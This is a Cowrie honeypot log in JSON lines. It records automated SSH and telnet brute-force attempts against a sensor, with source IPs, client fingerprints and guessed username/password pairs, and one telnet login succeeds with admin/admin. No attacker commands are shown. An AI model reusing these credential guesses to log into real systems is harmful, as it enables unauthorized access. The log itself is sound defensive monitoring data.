{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56024,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d958b1d607","protocol":"ssh","message":"New connection: 87.251.79.125:56024 (159.203.135.109:22) [session: 92d958b1d607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:41.300244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:41.305553Z","src_ip":"87.251.79.125","session":"92d958b1d607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:41.378455Z","src_ip":"87.251.79.125","session":"92d958b1d607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1z2z3z4z5","message":"login attempt [root/z1z2z3z4z5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:41.603776Z","src_ip":"87.251.79.125","session":"92d958b1d607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:42.682189Z","src_ip":"87.251.79.125","session":"92d958b1d607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":48194,"dst_ip":"159.203.135.109","dst_port":22,"session":"858d39db2dc8","protocol":"ssh","message":"New connection: 203.161.39.233:48194 (159.203.135.109:22) [session: 858d39db2dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:43.943432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:43.947793Z","src_ip":"203.161.39.233","session":"858d39db2dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:44.017807Z","src_ip":"203.161.39.233","session":"858d39db2dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:44.329548Z","src_ip":"203.161.39.233","session":"858d39db2dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:45.402950Z","src_ip":"203.161.39.233","session":"858d39db2dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.77.182.54","src_port":47110,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6690c6d12bd","protocol":"telnet","message":"New connection: 47.77.182.54:47110 (159.203.135.109:23) [session: c6690c6d12bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:42:11.008822Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":34618,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3ae7beb1f1","protocol":"ssh","message":"New connection: 103.172.78.219:34618 (10.17.0.5:22) [session: db3ae7beb1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:42:39.947715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:42:39.950957Z","src_ip":"103.172.78.219","session":"db3ae7beb1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:42:40.924236Z","src_ip":"103.172.78.219","session":"db3ae7beb1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":".","message":"login attempt [root/.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:42:41.712010Z","src_ip":"103.172.78.219","session":"db3ae7beb1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:42:42.970476Z","src_ip":"103.172.78.219","session":"db3ae7beb1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4e7cd0ba9b","protocol":"ssh","message":"New connection: 193.37.70.224:53754 (10.17.0.5:22) [session: ad4e7cd0ba9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:08.083356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:08.088822Z","src_ip":"193.37.70.224","session":"ad4e7cd0ba9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:08.178516Z","src_ip":"193.37.70.224","session":"ad4e7cd0ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"animals","message":"login attempt [root/animals] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:08.447243Z","src_ip":"193.37.70.224","session":"ad4e7cd0ba9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:09.540923Z","src_ip":"193.37.70.224","session":"ad4e7cd0ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:11.577808Z","src_ip":"47.77.182.54","session":"c6690c6d12bd","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:11.631469Z","src_ip":"47.77.182.54","session":"c6690c6d12bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":55766,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbcb3907685d","protocol":"ssh","message":"New connection: 190.129.122.185:55766 (159.203.135.109:22) [session: fbcb3907685d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:13.426543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:13.431273Z","src_ip":"190.129.122.185","session":"fbcb3907685d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:13.595860Z","src_ip":"190.129.122.185","session":"fbcb3907685d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa@","message":"login attempt [root/123456aa@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:14.282588Z","src_ip":"190.129.122.185","session":"fbcb3907685d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:15.450221Z","src_ip":"190.129.122.185","session":"fbcb3907685d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":58450,"dst_ip":"159.203.135.109","dst_port":23,"session":"516cccaa2d9a","protocol":"telnet","message":"New connection: 79.139.59.21:58450 (159.203.135.109:23) [session: 516cccaa2d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:24.385916Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":47444,"dst_ip":"159.203.135.109","dst_port":22,"session":"9be3d1687b0a","protocol":"ssh","message":"New connection: 103.82.20.28:47444 (159.203.135.109:22) [session: 9be3d1687b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:26.489123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:26.492714Z","src_ip":"103.82.20.28","session":"9be3d1687b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:26.749770Z","src_ip":"103.82.20.28","session":"9be3d1687b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oooooooo","message":"login attempt [root/oooooooo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:27.514504Z","src_ip":"103.82.20.28","session":"9be3d1687b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:43:28.771450Z","src_ip":"103.82.20.28","session":"9be3d1687b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36896,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5437ffb6c52","protocol":"ssh","message":"New connection: 147.45.199.80:36896 (159.203.135.109:22) [session: c5437ffb6c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:40.667180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:40.672130Z","src_ip":"147.45.199.80","session":"c5437ffb6c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:40.768339Z","src_ip":"147.45.199.80","session":"c5437ffb6c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksan","message":"login attempt [root/aleksan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:41.055241Z","src_ip":"147.45.199.80","session":"c5437ffb6c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:42.153560Z","src_ip":"147.45.199.80","session":"c5437ffb6c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53388,"dst_ip":"10.17.0.5","dst_port":22,"session":"25416a307b58","protocol":"ssh","message":"New connection: 89.223.69.22:53388 (10.17.0.5:22) [session: 25416a307b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:59.709066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:59.718212Z","src_ip":"89.223.69.22","session":"25416a307b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:44:59.835426Z","src_ip":"89.223.69.22","session":"25416a307b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaharov","message":"login attempt [root/zaharov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:00.194062Z","src_ip":"89.223.69.22","session":"25416a307b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:45:01.316291Z","src_ip":"89.223.69.22","session":"25416a307b58","protocol":"ssh"}
